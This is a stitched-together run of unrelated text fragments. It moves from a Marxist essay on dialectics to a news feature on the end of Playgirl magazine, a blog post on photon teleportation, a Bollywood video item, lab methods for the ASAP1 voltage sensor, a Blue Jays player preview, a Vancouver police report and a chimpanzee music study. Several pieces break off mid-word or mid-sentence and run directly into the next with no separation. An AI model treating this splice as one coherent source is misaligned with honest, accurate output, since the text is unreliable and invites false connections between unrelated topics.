But the fact is that the wave-particle duality can be reproduced in the laboratory in scientific experiments. Moreover, using statistical methods, both the velocity and position of particles can be determined with sufficient accuracy to enable man to turn them to practical use, showing that they are not unknowable ‘things-in-themselves’. The production of the electron tunnelling microscope which gives new possibilities of direct close-up study of atoms, makes use precisely of statistical methods of determining with great accuracy both the position and velocity of electrons; it is practical evidence that both these are knowable, though in a special statistical form based on probability.
Dialectics
Historically speaking, Marx and Engels became philosophical materialists before they united the dialectical method with materialism to form the integral world outlook of dialectical materialism.
The world outlook of dialectical materialism incorporates materialist dialectics, a scientific theory of development.
All things and processes are in a state of development, even though this may not always be evident to the naked eye. To say a thing is developing is to say that it is changing – either growing or decaying (and usually these processes go on simultaneously, as in biology).
Human knowledge extends over three very broad fields: nature (the material world around us), society, and human thought. All of these are constantly in a state of development and change. Dialectics is unique in that it enables us to understand – and use – the general laws of change.
Any science only becomes established when, through continued observation, collection and comparison of facts concerning its subject matter, and close study of these facts, regularly recurring features and essential, inner connections are revealed and, after testing in practice, become known as the laws of this science.
So it is with dialectics, the study of motion, change and development. Engels defined dialectics as ‘the science of the general laws of motion, both of the external world and of human thought – two sets of laws which are identical in substance but differ in their expression in so far as the human mind can apply them consciously, while in nature and also up to now [1888. Author] for the most part in human history, these laws assert themselves unconsciously, in the form of external necessity, in the midst of an endless series of accidents. (11)
The great value of materialist dialectics is that it enables us to understand things and processes in their actual movement and in their mutual interaction with other things around them. It teaches us to seek the basic cause of movement within things, and not outside them. It takes account not only of slow and gradual changes in things (evolutionary change) but also of sudden changes, leaps from one state to another (revolutionary change), and shows the connection between these two types of change. For instance, gradual decrease in the temperature of water leads to a point – nought degrees celsius – where a sudden change takes place to a new state, to a substance, ice, with quite different properties from those of water. Note that there is not a slow growth of an ever-thickening paste until the new substance, ice, is reached. What takes place is a leap to a new and different state. Similarly, gradual increase in the temperature of water leads to a sudden, not gradual, change at 100 degrees celsius to a new state, steam, again a substance with different properties from those of water. We will bring forward more examples (nature is full of them) as we deal further on with the laws of dialectics.
Dialectics differs essentially from formal logic in that it deals with things and processes as they are in the real world, in a state of motion and development, not static and unchanging.
‘The great basic thought’, writes Engels, that ‘the world is not to be comprehended as a complex of ready-made things, but as a complex of processes, in which the things apparently stable no less than their mind images in our heads, the concepts, go through an uninterrupted change of coming into being and passing away? this great fundamental thought has, especially since the time of Hegel, so thoroughly permeated ordinary consciousness that in this generality it is now scarcely ever contradicted’. (12)
In his biographical essay, Karl Marx, Lenin points out that Hegelian dialectics as the most comprehensive, the most rich in content, and the most profound doctrine of development, was regarded by Marx and Engels as the greatest achievement of classical German philosophy. He writes:
They considered every other formulation of the principle of development, of evolution, one-sided and poor in content, and distorting and mutilating the real course of development (which often proceeds by leaps, catastrophes and revolutions) in nature and society. (13)
While Hegel developed the doctrine of dialectical development and formulated laws of dialectics, he presented them as laws of the movement of thought, and then in an upside-down way. He asserted that the motion and development of nature and society in the real world, only comes about as the result, the materialisation moment by moment, of the development of an all-em |
months out of graduate school seemed “so over the top,” Ms. Caldwell said. “In the end,” she said, “that was far greater than reservations I had.”
Ms. Caldwell hired Ms. Collins after she wrote an essay for the magazine about orgasm-related migraines. Ms. Weiner was the only one who said she half aspired to a career in pornography publishing. “It definitely was bit intense at first,” she said. “But it really didn’t bother me. I’m definitely all about looking at naked dudes.”
Photo
Playgirl shared offices with Blue Horizon’s other publications in a fluorescent-lighted hive of gray cubicles in an old Art Deco building near Grand Central Terminal. Outwardly, it seemed the blandest of places, were it not for the lurid photos and videos that filled workers’ computer screens.
After being hired at Playgirl, each woman followed a similar trajectory of experiences:
¶First week: shock at being inundated with photos of naked men; slight horror at catching sight of photos from Blue Horizon’s triple X magazines; terror at having to put out a magazine with only two other people.
Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters.
¶Second week: less shock, less terror, less horror. Amusement at all the full-frontal photos that regular Joes — plumbers among them — mailed in.
¶Third week: the realization that one’s eyes are glazing over at the sight of photos of naked men, who all begin to look the same. Bewilderment at the letters from female fans, who wanted specific fantasies to appear. (A common theme: a naked man doing chores for the fully dressed lady of the house. The editors complied with a photo spread.)
Advertisement Continue reading the main story
Ms. Caldwell was struck by how many people would assume she was an expert in sex and then go on to disclose highly private details about their lives. Ms. Weiner said her parents found her job “hilarious.” Ms. Collins’s parents were congratulatory, at first. But just after being hired, she called their home in eastern Connecticut and sensed some hesitation in her father’s voice.
“ ‘I thought you were really into this,’ ” she said.
“Yeah,” her father replied. “That’s before Mom went out and bought a copy of the magazine.”
The editors strove to publish articles that were saucy but relevant. They printed articles about a campaign to take toxic chemicals out of cosmetics and about problems with Amsterdam’s red-light district. To her delight, Ms. Caldwell landed interviews with Jack LaLanne and Dolly Parton.
A do-it-yourself ethic bloomed. The magazine had no marketing or public relations budget, so its editors sought to revive the Playgirl brand themselves, throwing parties at a Lower East Side bar. After Blue Horizon denied a request to finance a blog, Ms. Collins built one herself, starting it on WordPress, a free platform.
Their efforts, the women said, got virtually no support; indeed, their higher-ups, all of them men, usually resisted their push to give the magazine editorial heft.
Early in 2008, warning signs surfaced. While newsstands sales were up, Ms. Caldwell said, so were production costs. In the spring, subscription cards suddenly vanished; the staff members were told it was a cost cutting measure. Then they were told that issues would come out bimonthly. In July, a subscriber wrote to complain about a letter from Blue Horizon saying that Playgirl was no longer in print.
Ms. Caldwell entered the office of an executive editor at Blue Horizon and asked: “Is there something you want to tell us?” After some blustering, she learned that the magazine’s end was near.
And so began the death throes of Playgirl, which, for all its swinging history and sass, ended remarkably unremarkably.
Advertisement Continue reading the main story
There were no final cocktails, no last hurrah. Instead, there was a frigidness between the Playgirl staff members and the other Blue Horizon workers. “It was kind of like a long breakup, where you’re both still living together and neither of you have left the apartment,” Ms. Weiner said.
The magazine’s editors said they were never told why the magazine was shut down. But, they said, they were always struck by the paucity of ads.
“I’m not a publishing expert, but it seems to me like it would be impossible to sustain a magazine on the quantity of ads Playgirl sold,” Ms. Collins said.
ON the Monday of her last week, Ms. Caldwell was called into a morning meeting, where she received an awkward round of applause from Blue Horizon staff members. Two days later, the executive editor took Ms. Caldwell and Ms. Collins out for sushi. (Ms. Weiner had already left.)
Ms. Caldwell’s last day was Oct. 3. Ms. Weiner and Ms. Collins were not around; they had already found new jobs — Ms. Weiner as an officer manager in Brooklyn, Ms. Collins as a copy editor at a male lifestyle magazine. (Ms. Caldwell now edits at Diamond District News.)
By 6 p.m., Ms. Caldwell had nearly cleared her desk. She rode the No. 4 train home.Just a couple of weeks ago, we discussed a Chinese experiment in which physicists teleported photons over a distance of almost 100 kilometres. That’s almost an order of magnitude more than previous records.
Today, European physicists say they’ve broken the record again, this time by teleporting photons between the two Canary Islands of La Palma and Tenerife off the Atlantic coast of north Africa, a distance of almost 150 kilometres.
That’s sets the scene for a fascinating prize. Both teams say the next step is to teleport to an orbiting satellite and that the technology is ripe to make this happen.
The Canary islands experiment was no easy ride. In ordinary circumstances, the quantum information that photons carry cannot survive the battering it gets in passing through the atmosphere. It simply leaks away.
Indeed, the European team say that unusually bad weather including wind, rain, rapid temperature changes and even sand storms all badly affected the experiment. “These severe conditions delayed our experimental realizations of quantum teleportation for nearly one year,” say Anton Zeilinger at the Institute for Quantum Optics and Quantum Information in Vienna and a few pals.
(However, they are quick to point out that satellite-based quantum communication shouldn’t be as susceptible since there is less weather to pass through if you fire photons straight up.)
To perform this experiment, Zeilinger and co had to perfect a number of new techniques to dramatically reduce noise, which would otherwise overwhelm the quantum signal.
Perhaps the most significant of these is a way of using entangled photons to synchronise clocks on both islands. That’s important because it allows the team to send photons and then look for them at the receiver at the exact instant they are due to arrive.
This significantly reduces the number of extraneous photons that could swamp the signal. The GPS system allows clocks to be synchronised in a way that allows a 10 nanosecond coincidence window. But entanglement-enhanced synchronisation allowed Zeilinger and co to use coincidence windows just 3 nanoseconds long.
The results sets up an interesting race between east and west. These experiments are proof-of-principle runs for a much more ambitious idea–quantum teleportation to orbiting satellites.
Since teleportation is the basis of more-or-less perfectly secure communication, the prize here is a global communications network that cannot be hacked, even in principle.
“The technology implemented in our experiment thus certainly reached the required maturity both for satellite and for long-distance ground communication,” say Zeilinger and co.
The questions, of course, is who will be first to orbit. The Europeans have a space agency that could be persuaded to test this idea but they won’t be in a hurry. China is currently showing great ambition in space and will want to show off its technological prowess. Both have the wherewithall to pull off this next step.
The contrast with the US couldn’t be clearer.
Ref: arxiv.org/abs/1205.3909: Quantum Teleportation Using Active Feed-Forward Between Two Canary IslandsMUMBAI — As the morning rain dripped in the garden outside, the yoga teacher Aparajita Jamwal got down on one knee, stretching the other leg behind her in a lunge known as the equestrian pose.
“Imagine you’re a horse — you have a lovely mane flowing behind you — looking up towards the ceiling,” Ms. Jamwal urged in a soothing voice. “Take two more breaths here.” As she slid her body into a plank pose, the director yelled, “Cut!” and everyone took a five-minute break.
Rajshri Entertainment, the creator of this low-budget yoga instructional video, is one of the oldest players in India’s film industry, known as Bollywood.
While Rajshri still makes and distributes movies for the cinema, it also produces 200 minutes of web-only video a day. The company says that the future lies in such straight-to-digital content, which it offers free to consumers on YouTube and similar services, paid for by advertising.Plasmid construction.
Plasmids were constructed by standard molecular biology methods and verified by sequencing of all cloned fragments. ASAP1 expression plasmid and its complete sequence can be obtained via Addgene (plasmid 52519, www.addgene.org/52519).
We constructed or obtained four circularly permuted fluorescent proteins for use in voltage sensor variants (Supplementary Fig. 1b,d). First, we constructed a circularly permuted GFP from GCaMP3 by inserting amino acids 145-148 (YNSH) of EGFP to the N terminus of cpGFP149-144 from plasmid pEGFP-N1-GCaMP3 (Addgene 22692)24. Second, we designed a circularly permuted Clover16 GFP by alignment to cpGFP from GCaMP3, creating new termini at original amino acid positions 145 and 144, and linking its original N- and C- termini using the peptide 'GGTGGS' between the C-terminal lysine (K239) and the original starting methionine. Third, we obtained cpsfGFP-OPT145-144 (abbreviated as cpsfGFP-OPT) from L. Oltrogge (Stanford). cpsfGFP-OPT is a circular permutant of a superfolder GFP variant; it was evolved for use in a split GFP system, and contains seven mutations (GFP1-10 OPT mutations) not present in the original superfolder GFP35. The full sequence of cpsfGFP-OPT is provided as part of ASAP1. Finally, we designed circularly permuted superecliptic pHluorinA227D15 (cpsepHluorinA227D) by alignment to cpsfGFP-OPT, creating new termini at original amino acid positions 145 and 144, and linking its original N- and C- termini using the peptide GTGGSAS between the C-terminal lysine (K239) and a lysine originally present near its N terminus (K4).
We constructed ASAP1 using the voltage-sensing domain (VSD) from the Gallus gallus voltage-sensitive phosphatase (VSP, GenBank, XP_417079). ASAP1 variants with alternate VSDs were constructed by inserting cpsfGFP-OPT immediately after amino acids G146 (Xenopus laevis VSP 2, GenBank, JF440218), amino acid G147 (Danio rerio VSD, GenBank, NM_001025458) or amino acids L203 to G214 (Ciona intestinalis VSD, GenBank, AB183035). In each case, we isolated the VSD from the VSP by truncating the C-terminus at homologous positions: T183 (G. gallus), T182 (X. laevis), T183 (D. rerio) or S244 (C. intestinalis). Besides the R153Q mutation discussed in the text, our VSDs (generous gift of V. Pieribone, Yale University) differ from the corresponding GenBank sequences as follows. First, G. gallus, X. laevis and D. rerio all contain an extra codon (GAG, glutamic acid) after the starting methionine, possibly to match expression levels of C. intestinalis VSD, whose wild-type sequence contains this codon. Second, our G. gallus has a lysine rather than glutamic acid at amino acid position 14, while D. rerio has a proline rather than leucine at position 90; the effect of these differences in sequence has not been carefully examined.
ArcLight Q239 (ref. 15) and ASAP1 variants were cloned between the NheI-HindIII sites of pcDNA3.1/Puro-CAG16. All variants contain identical Kozak sequences. To evaluate sensor brightness or membrane localization, we coexpressed sensors with a fusion of mCherry with a farnesylation motif (CAAX) from the CAG promoter by using the encephalomyocarditis virus internal ribosome entry site (IRES); a schematic of the resulting plasmids is shown in Supplementary Figure 5a.
HEK293A cell culture and transfection.
HEK293A cells (Life Tech) were maintained in high-glucose Dulbecco's Modified Eagle Medium (DMEM, HyClone) supplemented with 5% fetal bovine serum (FBS, vol/vol, Life Tech) and 2 mM glutamine (Sigma) at 37 °C in air with 5% CO 2. Cells were plated onto glass-bottom 24-well plates (In vitro Scientific) for standard imaging, or onto uncoated no. 0 12-mm coverslips (Glaswarenfabrik Karl Hecht GmbH) for patch clamping experiments. Transfections were carried out using FuGene HD (Promega) according to manufacturer instructions, except that cells were transfected at ∼50% confluence with lower amounts of DNA (200 ng) and transfection reagent (0.6 μl) to reduce cell toxicity. Cells were cultured for ∼48 h before experiments were performed.
HEK293A imaging without patch clamping.
We used an IX81 microscope with a 60× 1.42-numerical aperture (NA) PlanApo oil-immersion objective (Olympus). Fluorescence excitation was delivered using a 120-W Mercury vapor short arc lamp (X-Cite 120PC, Exfo) through a 485/22-nm (GFP) or 545/30-nm (RFP) filter. Fluorescence emission was passed through a 540/40-nm (GFP) or 605/50-nm (RFP) filter, and recorded using an Orca ER CCD (Hamamatsu) with Micro-Manager36 software. Fluorescence images shown in Supplementary Figures 1,2,3,4 are representative images selected out of multiple fields of view.
Simultaneous patch clamping and imaging of HEK293A cells.
We performed patch-clamp experiments at 22 °C, using an Axopatch 700B amplifier (Axon Instruments) and borosilicate glass electrodes with resistances of 2.5–5 MΩ. Cells were superfused in a chamber mounted on the stage of an Axiovert 100M inverted microscope with a 40× 1.3-N.A. oil-immersion objective (Zeiss). Fluorescence excitation was delivered using a high-power blue light-emitting diode (LED, UHP-MIC-LED-460, Pryzmatix) through a 472/30-nm filter at a power density of 0.4–5.2 mW mm−2 at the sample plane. Fluorescence emission was passed through a 525/50-nm filter, and recorded using either an ORCA-Flash4.0 V2 C11440-22CU (Hamamatsu) scientific CMOS camera (experiments for Fig. 1c,d), or an iXon 860 electron-multiplied charge-coupled device camera (Andor) cooled to −80 °C (all other experiments). Unless otherwise indicated, step voltage depolarizations were applied to change the membrane potential from a holding voltage of −70 mV to voltages ranging from −120 mV to 50 mV for 0.5–1.0 s. For these voltage steps experiments, we captured images at 200 Hz without binning, and the fluorescence response was measured from pixels at the perimeter of the cell (plasma membrane). For experiments with trains of artificial AP waveforms, we captured images at 827 Hz with 4 × 4 binning, and fluorescence response was measured using pixels from the entire cell. The AP waveform, recorded from a hippocampal neuron, has a FWHM of 2.0 ms and peak amplitude of 75 mV. To measure the kinetics of ASAP1 and ArcLight Q239, we expressed these sensors in HEK293T (Tribioscience) cells. Fluorescence excitation was delivered using a 488-nm diode laser (OBIS, Coherent) through a 469/35-nm filter at 25–50 mW mm2. Fluorescence emission was passed through a 520/40-nm band-pass filter to a PMM02 photomultiplier tube (Thorlabs) and sampled at 5–10 kHz. Double-exponential models were applied to the rising and falling portions of the imaging trace during command step voltages. For all experiments, fluorescence traces were corrected for photobleaching; electrophysiological data was recorded with Clampex (Molecular Devices) and fluorescence images were acquired with Solis (Andor), HCImage (Hamamatsu) or Micro-Manager36.
Neuronal cell culture and transfection.
Animal experiments were performed in accordance with the rules of the Stanford University Administrative Panel on Laboratory Animal Care. Primary hippocampal neurons were dissected from Sprague-Dawley rats on embryonic day 18 and digested with 10–20 U ml−1 papain (Worthington) in Hank's Balanced Salt Solution (HBSS) with 2 U μl−1 DNaseI for 25 min at 37 °C. Neurons were then dissociated by gentle trituration in Neurobasal (Life Tech) with 10% FBS. Neurons were plated at 4 × 104 cells cm−2 on 12-mm no. 0 coverslips (Glaswarenfabrik Karl Hecht GmbH) precoated for 24 h with >300-kDa poly-D-lysine (Sigma) in water. Neurons were cultured overnight at 37 °C in air with 5% CO 2 in Neurobasal with 1 × B27 (Life Tech), 2 mM GlutaMAX (Life Tech) and 10% FBS. The following day, 90% of the medium was replaced with identical medium without FBS. Cytosine β-D-arabinofuranoside (Sigma) was added to 2 μM at 5 d in vitro (DIV). Neurons were transfected at 7-10 DIV using calcium phosphate37. For each well, we transfected 400 ng of sensor DNA and 1.1 μg of empty pcDNA3.1/Puro-CAG vector.
Confocal imaging of live dissociated neurons.
Live neurons were imaged 2 d post-transfection in HBSS supplemented with 10 mM HEPES pH 7.4, 1 × B27, 2 mM GlutaMAX, and 1 mM sodium pyruvate on an IX81 microscope with a FluoView FV1000 laser-scanning confocal unit operated using the FV10-ASW v3.01 software (Olympus). Fluorescence excitation was delivered using a 488-nm laser through a 40× 1.3-NA oil-immersion objective (Olympus). Emission was passed through a 530/40-nm emission filter. A single slice close to the bottom of the neuron was imaged using a 1-Airy pinhole setting. Images shown in Figure 1b are representative images selected out of multiple fields of view.
Antibody staining and confocal imaging of fixed dissociated neurons.
DIV10 neurons were transfected with a plasmid vector expressing both ASAP1 and mCherry-CAAX (see above and Supplementary Fig. 5a) as described above, except that a range of plasmid concentrations was used (0.2–1.6 μg of sensor DNA, supplemented to 1.6 μg total DNA with empty pcDNA3.1/Puro-CAG vector). 4 d post-transfection, neurons were washed in HBSS, fixed for 15 min at 22 °C with 4% paraformaldehyde (wt/vol), and washed three times with HBSS. For preparation of intact (non-permeabilized) neurons, we blocked nonspecific staining by incubating neurons for 30 min in blocking buffer: 5% goat serum (vol/vol, Life Tech) in phosphate-buffered saline (PBS, HyClone/Thermo Scientific); neurons were then washed three times with PBS. Primary antibody staining was performed with a rabbit polyclonal antibody to GFP (ab6556, Abcam, 1:2,000) for 2 h, followed by three washes with PBS. Secondary antibody staining was performed with a goat antibody to rabbit conjugated with Alexa Fluor 633 (AF633) dye (A21071, Life Tech) for 2 h in the dark. Multiple published studies have used ab6556 (ref. 38) and A21071 (ref. 39) for similar applications. Cells were washed once with PBS and twice with PBS + 0.1% Triton X-100 (vol/vol, Amresco) for 20 min each time. All steps were performed at 22 °C. Permeabilized neurons were prepared as above, except that Triton X-100 was added to the blocking and staining solutions to a final concentration of 0.1%; washes were performed identically. Coverslips were mounted using Vectashield HardSet mounting medium (H-1400, Vector Laboratories) supplemented with 0.01% sodium azide (wt/vol). Neurons were imaged using a 40× 1.3-NA oil-immersion objective on an IX81 microscope with a FluoView FV1000 laser-scanning confocal unit operated using the FV10-ASW v3.01 software (Olympus). mCherry-CAAX was imaged with a 559-nm laser and a 603/35-nm emission filter. ASAP1-associated Alexa Fluor 633 was imaged with a 635-nm laser and a 705/100-nm emission filter. Images were acquired using a 1-Airy pinhole setting and filtered with a two-pass Kalman filter. All neurons with visible membrane-localized mCherry-CAAX were selected for analysis. For each neuron and wavelength, a z stack from −3 to +3 μm relative to the mid-cell position was acquired, with 0.5-μm vertical spacing between slices. The slice showing the best mCherry-CAAX membrane localization was used for quantifying ASAP1 (AF633) membrane localization; this slice was typically at or close to the mid-cell position. For Supplementary Figure 5e, membrane and cytosol regions of interest were hand-drawn using the corresponding mCherry-CAAX image to identify region boundaries.
Simultaneous patch clamping and imaging of dissociated neurons.
2 d post-transfection, cells were patch-clamped at 22 °C using borosilicate glass electrodes with resistances of 3–5 MOhm attached to an Axopatch 700B amplifier (Axon Instruments). Cells were superfused with extracellular solution containing 110 mM NaCl, 26 mM sucrose, 23 mM glucose, 5 mM HEPES-Na, 5 mM KCl, 2.5 mM CaCl 2 and 1.3 mM MgSO 4, adjusted to pH 7.4. The intracellular (pipette) solution contained 115 mM potassium gluconate, 10 mM HEPES-Na, 10 mM EGTA, 10 mM glucose, 8 mM KCl, 5 mM MgCl 2 and 1 mM CaCl 2, adjusted to pH 7.4. Cells were imaged using the same microscope, camera, filters and illumination as HEK293A cells (see above). Images were captured at 827 Hz (current-induced APs) or 417 Hz (spontaneous APs) with 4 × 4 binning, and fluorescence response was measured using pixels from the entire cell body. Fluorescence traces were acquired while cells were voltage clamped or current clamped in whole-cell mode. For all experiments, fluorescence traces were corrected for photobleaching. To generate APs, ∼800 pA of current was injected for 2 ms. We discarded from future analysis neurons with resting membrane potential greater than −50 mV or membrane resistance lower than 100 MOhm. Electrode voltages and currents were recorded using pClamp (Axon Instruments) and analyzed using custom software written in MATLAB. Voltage traces were corrected for the junction potential post hoc. The neuron resting membrane potential was measured at I = 0 in current clamp immediately after membrane rupture. Membrane capacitance was determined by pClamp v10 (Molecular Devices) preset routines using the current response to 5-mV square pulses.
Photobleaching and long-term voltage sensing in dissociated neurons.
Neurons were cultured and transfected as described above, but were left intact (unpatched). We used an ORCA-Flash4.0 V2 C11440-22CU (Hamamatsu) CMOS camera (Supplementary Fig. 9) or an iXon 860 (Andor) electron-multiplied charge-coupled device camera (Fig. 4c and Supplementary Fig. 10) as described above, except that we used a 480/20-nm excitation filter (Chroma HQ480/20x).
Estimating the concentration of membrane-localized ASAP1 molecules.
To obtain a coarse estimate of the number of ASAP1 molecules per μm2 in dissociated neurons (Supplementary Fig. 6f), we first purified a preparation of Clover GFP16 as previously described40. We then determined Clover concentration in our preparation by alkali denaturation41. We injected dilutions of our Clover preparation into a custom polydimethylsiloxane (PDMS) microfluidics device42. To obtain a correspondence between fluorescence and number of Clover molecules, we imaged channels of 10-μm depth using the microscopy system described above. We adjusted this relationship to measure ASAP1 molecules by factoring the difference in brightness between Clover and cpsfGFP-OPT43. We assumed that ASAP1 brightness is equivalent to cpsfGFP-OPT at the brightest point of the ΔF/F versus V curve (−120 mV; Fig. 1d), and then factored in the difference in ASAP1 brightness between −120 mV and the resting membrane potential of approximately −70 mV.
In utero electroporation, acute slice preparation and imaging.
Embryos from pregnant CD-1 mice (Charles Rivers) were injected with 1–1.5 μl of 1–2 μg μl−1 ASAP1 plasmid DNA in PBS and electroporated using five 10-ms 50–55-V voltage pulses delivered at 1 Hz. At P15–30, electroporated pups were anesthetized with 2% isofluorane (vol/vol), and perfused with a sucrose solution containing 234 mM sucrose, 26 mM NaHCO 3, 11 mM glucose, 10 mM MgSO 4, 2.5 mM KCl, 1.25 mM NaH 2 PO 4, 0.5 mM CaCl 2, and continuously bubbled with 95% O 2 and 5% CO 2. 300-μm slices were prepared and allowed to recover for 30 min in bubbled artificial cerebrospinal fluid (ACSF) containing 123 mM NaCl, 26 mM NaHCO 3, 11 mM glucose, 3 mM KCl, 2 mM CaCl 2, 1 mM MgCl 2. Slices were placed in an imaging chamber in a customized BX-51WI fluorescence microscope (Olympus), continuously perfused with ACSF, and visualized under a 20× 1.0-NA objective (Olympus). Cells were illuminated with a stable LED source (Heliophor, 89 North) at a power density of 8 mW mm−2 or a 488-nm diode laser (OBIS, Coherent) at a power density of 50 mW mm−2. Layer 5 cortical pyramidal cells expressing ASAP1 were patch clamped, held in current-clamp mode and either monitored for spontaneous spiking or injected with 2- to 5-ms current pulses (600–1,500 pA) to induce single spikes with minimal subthreshold contribution. Fluorescence traces were recorded at 400 Hz by an iXon DU-897 EMCCD camera (Andor). For all experiments, fluorescence traces were corrected for photobleaching.
Data analysis.
Peak SNR was defined as the ratio of baseline-subtracted fluorescence intensity changes and the s.d. of the baseline trace in a 500-ms window near the AP, in regions with no apparent hyperpolarizations or subthreshold depolarizations. T 4→2 is defined as the time a cell, illuminated so as to obtain an initial SNR of 4, can be imaged before the SNR drops to 2 as previously described16. Assuming a reciprocal relation between excitation intensity and photobleaching time, the time to decay from an AP SNR of θ to θ/2 is
where τ off is the decay time of the fluorescence transient induced by the spike. The signal-to-noise capacity (SNRC) is a dimensionless measure of a probe's ability to report activity and is defined as the instantaneous peak/noise ratio of a probe integrated over all time. For an single-channel probe, SNRC is defined as SNRC2 = (ΔF/F)2 N(t) τ PB, with ΔF/F the fractional change in fluorescence to a spike, N(t) the rate of emission, and τ PB the photobleaching time constant. We used fluorescence traces from stimulated APs in dissociated neurons to extract the SNRC and τ off (see above).
Statistical methods.
Results presented in the form x ± y represent the mean ± s.e.m., unless indicated otherwise. Statistical comparisons of pre-identified measures of interest between two data sets were performed with the Student t test unless otherwise indicated. Prior to performing such statistical comparisons, the Shapiro-Wilk method was used to test the null hypothesis that the data followed a Gaussian (normal) distribution. When this normality hypothesis could not be rejected, Student t tests were performed; otherwise, the Mann-Whitney U nonparametric test was used. Prior to performing t tests, we also tested the null hypothesis of equal variance between the two data sets, and employed Welch's correction when the null hypothesis was rejected. Two-tailed tests were performed at significance level (α) of 0.05. Statistical tests were performed in Excel (Microsoft) and MATLAB (MathWorks). Except where otherwise indicated, neurons for a given experiment were from the same preparation of hippocampal neurons obtained from dissection of rats from the same litter. No statistical methods were used to predetermine sample sizes, but our sample sizes are similar to those generally employed in the field. Data collection and analysis were not performed blind to the conditions of the experiments. However, as mentioned earlier, we chose cells for data collection and analysis using predefined selection criteria. Furthermore, data analysis was largely performed using automated Matlab and ImageJ routines.
A Supplementary Methods Checklist is available
Accession codes.
ASAP1 nucleotide sequence: Genbank KJ598785. ASAP1 expression plasmid (pcDNA3.1/Puro-CAG-ASAP1): Addgene 52519.At the dish in 2015, Martin exceeded expectations and had a very productive slash line of.240/.329/.458, to go with 23 home runs and 77 RBI.
Past Entries: Marco Estrada Justin Smoak Brett Cecil Devon Travis
Darwin Barney R.A. Dickey J.A. Happ Josh Donaldson Ryan Goins
Michael Saunders Aaron Sanchez Ryan Tepera Drew Hutchison Drew Storen
Jesse Chavez Roberto Osuna Josh Thole Junior Lake Bo Schultz
Russell Martin joined the Blue Jays on a 5 year, 82 million dollar free agent deal at the beginning of the 2015 season with one prominent goal in mind: returning to the playoffs. Although the Blue Jays fell short of the ultimate prize, the mission of ending a 22-year drought was accomplished.
The Canadian-born catcher is entering his second season as a Blue Jay, and the hope is Martin will continue to help lead a talented staff and roster back to the playoffs to finish what they started in 2015.
2015 Performance Recap
Martin was signed for a number of reasons, but chief amongst them was his elite ability behind the plate as pitch caller, framer, and his ability to neutralize the running game. Martin brought all of that and more for the Jays in ’15, throwing out 44% of would be base stealers (against a league average of 32%), and logging 117 games behind the plate.
At the dish, Martin exceeded expectations and had a very productive slash line of.240/.329/.458, to go with 23 home runs and 77 RBI. Martin began the year hitting 2nd in the lineup, but later with injuries and trade additions, he settled around 6th or 7th most games, leading a highly productive bottom third of the lineup and finishing with a WAR of 3.3.
2016 Role and Steamer Projections
Steamer tabs Martin to take a slight step back in 2016 with a slash line of.237/.331/.415, 17 home runs and 55 RBI. They projects a season of 3.4 WAR, with a slight reduction in plate appearances at 459, down from his 507 in 2015.
Martin will be once again to asked to maximize the talents of the pitching staff, and hopefully continue to contribute with the bat at an above average clip for a catcher. Despite the success of many young Jays’ pitchers like Roberto Osuna, Marcus Stroman and Aaron Sanchez in 2015, Martin’s most important role may be helping them navigate the upcoming season. With the footage and scouting reports a little more advanced on each young arm, they’ll all benefit from the guidance and defensive skills of the experienced backstop.
What Could Go Wrong?
Russell Martin turned 33 in February and has enjoyed a long and successful career since entering the league at age 23 with the Dodgers. Throughout that time Martin has been considered an elite catcher and has always logged significant miles behind the plate each season. While there is no reason to expect a breakdown in 2016, Father Time hasn’t lost yet, and catchers have arguably the most difficult battle because of the physical demands of the position.
Last season Martin had the luxury of sharing the catching responsibilities with Dioner Navarro, an experienced and above-average back up, arguably capable of starting for other MLB clubs. With Navarro having signed with the Chicago White Sox as a free agent, Martin will likely be flanked by R.A. Dickey‘s personal catcher, Josh Thole. While Martin will benefit from being relieved of catching Dickey, he’ll be counted on as much or more than he was in 2016. The health of the veteran receiver may be one of the most important factors for a successful upcoming season.
What Could Go Right?
As stated above, Martin has been a very healthy and productive player throughout his career, and there’s no reason to expect otherwise in 2016. He adjusted well to coming back to the American League, and the majority of pitchers on the staff raved about his abilities as a receiver, and in keeping the opposing team’s speedsters at bay.
He also produced a career high with 23 home runs, and will likely continue to add a bit of a pop to an already loaded lineup in the hitter-friendly Rogers Centre. Having a lineup dangerous enough to warrant a hitter like Martin batting the projected 7th hitter takes all the pressure off of Martin, and allows him to do what he does best. He comes into the season healthy and likely without the task of catching the knuckleball, and another year more familiar with his staff and the AL East lineups.
The Bottom Line
While Martin will likely slow down before his five-year contract with the Jays has come to an end, there’s no reason to expect a significant step back in 2016. He joins a cast of talented teammates that have proved they can win in a talented AL East, and are no doubt hungry to bring the World Series back to Canada for the first time since 1993.
Martin and the Jays may miss the presence of Navarro a bit this season, but this was always Martin’s team and he has given the Jays no reason to doubt him after a highly productive first year. Barring injury, expect Martin to likely hit in the bottom third of the lineup (poor opposing pitching staffs), and continue to provide elite productive behind the plate.Vancouver police have released a blurry image of a "person of interest" in the case of an alleged child abduction attempt that sparked a massive search of Stanley Park Friday.
The incident put police on high alert, combing the park and asking park-goers for any relevant video or photographs.
Investigators are also interested in a man shown in a video that has surfaced.
Police were called by parents who reported a man grabbed their eight-year-old daughter and tried to drag her off Friday morning.
Vancouver police are looking for the man in this photograph in connection with the incident at Stanley Park Friday. (Vancouver Police)
"The [Vancouver Police Department] sex unit is now heavily |
well as access to indoor dens. Sessions occurred within the indoor area but animals had access to the outside throughout. Music was only broadcast inside and could not be heard outside, ensuring the animals could get away from the music if they wanted to do so. Apparatus and procedure Data were collected during July and August 2006. Sessions lasted one hour and were conducted on Tuesdays and Thursdays, with each group having 16 sessions. The chimpanzees were given a device that could be used to select and listen to classical music, rock music (both different from that used in studies 1 and 2), African folk music or silence (S6 Table). The type of sound could be selected by putting a finger in one of four, vertically arranged holes within a box, three of which were connected to three separate CD players and one hole that turned the music off. The insertion of a finger would activate the photoelectric sensors inside each hole that triggered the playing of the associated music CD or silence. If no further selection had been made after two minutes, the device defaulted back to silence. The vertical order of the sounds within the device changed every four sessions so that each music choice occupied all four holes equally. Testing only began when more than half of the individuals had interacted with the device. No food rewards were used for reinforcing interaction with the device. The type of sound playing at the start of each testing session varied so that each sound was used at the beginning of a session four times. Data were recorded on the frequency and type of choices by a computer attached to the device, video recording was used to identify the number of interactions each individual in the group had with the device and this was summarised by an observer after each session. Unfortunately, as there was no sound associated with the video recording, it was not possible for specific choices to be attributed to a specific individual, 